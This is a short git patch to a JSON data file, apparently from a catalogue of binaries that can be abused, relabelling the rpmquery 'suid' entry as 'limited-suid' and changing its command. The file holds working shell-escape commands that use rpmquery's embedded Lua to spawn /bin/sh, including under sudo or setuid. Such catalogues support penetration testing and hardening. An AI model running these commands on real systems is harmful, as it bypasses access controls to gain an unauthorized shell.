From 7c0a4907e2ddcf97e13c6e81317433b36e582caf Mon Sep 17 00:00:00 2001 From: "Mr. Robot" Date: Sun, 10 Jan 2021 21:19:54 +0100 Subject: [PATCH] fix rpmquery suid command --- data/rpmquery.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/data/rpmquery.json b/data/rpmquery.json index e6621cb..d67d228 100644 --- a/data/rpmquery.json +++ b/data/rpmquery.json @@ -5,9 +5,9 @@ "code": "rpmquery --eval '%{lua:posix.exec(\"/bin/sh\")}'" } ], - "suid": [ + "limited-suid": [ { - "code": "./rpmquery --eval '%{lua:posix.exec(\"/bin/sh\", \"-p\")}'" + "code": "./rpmquery --eval '%{lua:os.execute(\"/bin/sh\")}'" } ], "sudo": [ @@ -16,4 +16,4 @@ } ] } -} \ No newline at end of file +}